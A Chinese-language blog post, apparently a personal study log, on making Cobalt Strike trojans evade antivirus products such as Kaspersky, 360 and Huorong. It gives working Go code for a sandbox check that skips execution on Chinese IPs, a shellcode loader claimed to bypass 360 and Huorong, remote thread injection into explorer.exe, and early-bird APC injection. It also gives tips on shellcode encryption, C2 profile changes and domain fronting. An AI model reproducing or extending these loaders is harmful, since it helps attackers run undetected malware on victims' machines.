免杀

针对杀软确定方向

引用别人的的总结

1
2
启发式:分为动静态技术,静态指的就是一些字符串匹配之类的功能,动态是虚拟机查杀
主动防御:对于系统中的操作实时监控,例如卡巴强大的内存扫描功能

如上测试的过程中,根据卡巴爆毒PDM(主动防御),则确认木马是落地后敏感操作被杀,可以针对木马上线后操作特征做免杀(api调用,cs原有的特征,流量等)

HEUR则是无法通过虚拟机检测或者静态扫描(静态资源,关键字等)

个人测试下来的感受是除了卡巴都不算难绕过,360的杀毒功能相对强一点,火绒只需要随意做一下免杀

反沙箱

通过检测虚拟机环境来绕过虚拟机检测,但是很多检测环境的操作被标记为敏感(例如检测系统中的内存会被微步标记敏感)

常用操作有检测内存大小、cpu数目、有无常见软件(微信等)、用户名、临时文件数目、时间加速

如以下代码,但是其实大多杀软静态启发扫描较容易绕过,加上这些操作反而会可能导致敏感

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
func checkIP() (bool, error) {
url := "https://myip.ipip.net/"

resp, err := http.Get(url)
if err != nil {
return false, nil
}
defer resp.Body.Close()

body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return false, nil
}

content := string(body)

if strings.Contains(content, "中国") {
return false, nil
} else {
return true, nil
}
}

静态免杀

静态会讨论到有关编码,加壳,修改文件资源(影响熵)等概念,这里由于我自己用的是分离加载,重点使用的是编码

对于壳,已经被360等杀软加入特征,不是比较新的加壳方法不太建议使用了

签名窃取

加密

常用加密方式:base64,aes,rc4等

静态shellcode加密项目

GitHub - EgeBalci/sgn: Shikata ga nai (仕方がない) encoder ported into go with several improvements

对于分离出来的shellcode,使用aes或者sgn都能起到足够的免杀效果

garble是go编译的加密工具,但是被大量加入特征,感觉不好用了

动态免杀

cs生成shellcode,我这里直接用raw

分离加载实际上就是通过加载器去运行shellcode,那么shellcode可以单独的静态加密、也可以通过放在公网上分段下载这些方式去绕过对shellcode本身特征的检测

这里主要介绍一下一些加载shellcode的方式

这里有三个作用

  • 绕过导入表检测(直接通过ntdll找函数
  • 尽可能在r3层中靠近内核
  • 文件不落地(通过ntdll的分配内存,拷贝内存等操作
在学习分离加载的过程中会接触到很多的winapi函数

基础的demo

  1. 申请内存区域

  2. 拷贝shellcode到内存中

  3. 直接执行shellcode

go实现

自定义一些windows api函数

使用了golang.org/x/sys/windows 和 syscall unsafe os库

获取dll 定义常量

demo

以下代码都删除了不重要的部分

可以过360核晶,火绒等

1
2
3
4
5
6
7
8
9
10
func original_loader(shellcode []byte) {
//调用VirtualAlloc为shellcode申请一块内存
addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)

//调用RtlCopyMemory来将shellcode加载进内存当中
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))

//syscall来运行shellcode
_, _, _ = syscall.SyscallN(addr, 0, 0, 0, 0)
}

线程注入

获取进程–分配内存–写入shellcode–线程执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
func DirectShellcodeInject(fp string) error {
encodeDataByte, err := os.ReadFile(fp)
if err != nil {
fmt.Printf("读取文件时出错: %v\n", err)
}
shellcode := Decode(encodeDataByte)
// 获取notepad.exe进程句柄
hProcess, err := getProcessHandleByName("explorer.exe")
defer windows.CloseHandle(hProcess)
// 在目标进程中分配内存
lpBaseAddress, err := allocateMemoryInProcess(hProcess, shellcode)
// 向目标进程内存写入shellcode
err = writeShellcodeToProcessMemory(hProcess, lpBaseAddress, shellcode)
// 创建远程线程来执行注入的代码
err = createRemoteThreadToExecute(hProcess, lpBaseAddress)

}

APC

后面代码中的earybirl注入和apc注入都是利用了APC机制

apc注入的前面和线程注入是相同的,只是后面不是新建线程而是通过apc来执行shellcode

earybirl注入:创建一个rw内存空间,写入shellcode后换成rx,通过apc执行shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
func EarlybirlInject(shellcode []byte) error {
addr, _ := allocateAndProtectMemory(shellcode)
setupAPC(addr)
return nil
}

func allocateAndProtectMemory(shellcode []byte) (uintptr, error) {
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
ntdll := windows.NewLazySystemDLL("ntdll.dll")

VirtualAlloc := kernel32.NewProc("VirtualAlloc")
VirtualProtect := kernel32.NewProc("VirtualProtect")
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")

addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)

_, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))

oldProtect := PAGE_READWRITE
_, _, _ = VirtualProtect.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))

return addr, nil
}

func setupAPC(addr uintptr) error {
const (
QUEUE_USER_APC_FLAGS_NONE = iota
QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC
QUEUE_USER_APC_FLGAS_MAX_VALUE
)

ntdll := windows.NewLazySystemDLL("ntdll.dll")
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
GetCurrentThread := kernel32.NewProc("GetCurrentThread")
NtQueueApcThreadEx := ntdll.NewProc("NtQueueApcThreadEx")

thread, _, err := GetCurrentThread.Call()

_, _, err = NtQueueApcThreadEx.Call(thread, QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC, uintptr(addr), 0, 0, 0)
return err
}

对于加载方式,还可以通过调用无意义的windows api来做混淆,以及寻找更罕见的api去执行命令等方式做免杀

其他

​ 对卡巴内存扫描(ekko等技术)做了尝试,最后可能还是需要通过二开c2等方式绕过,常规的免杀方法基本只能上线一段时间了,cs的stageless免杀效果更好,

​ 流量上需要可以通过改cs profile也能一定程度规避杀软,还能用云函数,域前置这些技术

demo源码

https://github.com/z2zQAQ/go-z2zloader

学习文章

攻防实战|钓鱼手法及木马免杀技巧-腾讯云开发者社区-腾讯云

免杀基础学习记录 - F12~ - 博客园


免杀
http://example.com/2024/09/16/免杀/
作者
z2zQAQ
发布于
2024年9月16日
许可协议